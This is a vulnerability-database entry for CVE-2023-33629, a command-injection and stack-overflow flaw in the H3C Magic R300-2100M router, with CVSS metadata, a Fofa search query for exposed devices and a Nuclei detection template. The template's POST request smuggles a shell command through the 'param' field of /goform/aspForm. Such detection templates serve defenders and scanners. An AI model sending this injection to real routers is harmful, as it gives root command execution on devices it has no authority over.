SecurityContext

CVE-2023-33629: H3C Magic R300-2100M - Remote Code Execution

Classification

  • Cwe: CWE-787
  • Cvss score: 7.2
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.04353
  • Epss percentile: 0.91469
  • Cpe: cpe:2.3:o:h3c:magic_r300-2100m_firmware:r300-2100mv100r004:*:*:*:*:*:*:*

Metadata

  • Fofa-query: app="H3C-Ent-Router", app="h3c-ent-router"
  • Max-request: 2
  • Product: magic_r300-2100m_firmware
  • Vendor: h3c
  • Verified: yes

Products

ProductIndexedUrl
h3c:magic_r300-2100m_firmwareyes/v1/products/h3c/magic_r300-2100m_firmware

Labels

  • Name: H3C Magic R300 - Buffer Overflow
  • Impact: Remote attackers can execute arbitrary code or cause a denial of service, potentially compromising the device.
  • Remediation: Update to the latest firmware version provided by H3C or apply security patches addressing this vulnerability.
  • Vulnerability type: buffer_overflow
  • Vulnerability impact: remote_code_execution, denial_of_service
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-33629
  • Not known: requirements

```yaml

id: CVE-2023-33629

info:

name: H3C Magic R300-2100M - Remote Code Execution

author: DhiyaneshDK

severity: high

description: |

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.

impact: |

Authenticated high-privilege attackers can exploit stack overflow through command injection in the DelL2tpLNSList parameter to execute arbitrary commands on the H3C Magic R300 router with root privileges.

remediation: |

Update H3C Magic R300-2100M firmware to a version newer than R300-2100MV100R004 that properly validates input in the DeltriggerList interface at /goform/aspForm.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2023-33629

- https://hackmd.io/@0dayResearch/r1UjggZfh

- https://hackmd.io/%400dayResearch/r1UjggZfh

- https://github.com/20142995/sectool

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

cvss-score: 7.2

cve-id: CVE-2023-33629

cwe-id: CWE-787

epss-score: 0.04353

epss-percentile: 0.91469

cpe: cpe:2.3:o:h3c:magic_r300-2100m_firmware:r300-2100mv100r004:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: h3c

product: magic_r300-2100m_firmware

fofa-query:

- app="H3C-Ent-Router"

- app="h3c-ent-router"

tags: cve2023,cve,router,rce,h3c,vkev,vuln

variables:

filename: "{{to_lower(rand_text_alpha(7))}}"

http:

- raw:

- |

POST /goform/aspForm HTTP/1.1

Host: {{Hostname}}

CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp&param=1; $(ls>/www/{{filename}});

- |

GET /{{filename}} HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- status_code_1 == 302

- contains(body_1, 'do_cmd.asp')

- status_code_2 == 200

- contains_all(body_2, 'www', 'www_multi')

condition: and

digest: 4a0a00473045022045e7e7cf9e5f62a6198e0b9823dee6f2fcf08ac429bbaf96df72a4daff0d5d74022100a7818c0482ae5b759c1007c9235ad38e00c765fd5c7e52ad2ed5233e5c285b7e:922c64590222798bb761d5b6d8e72950

```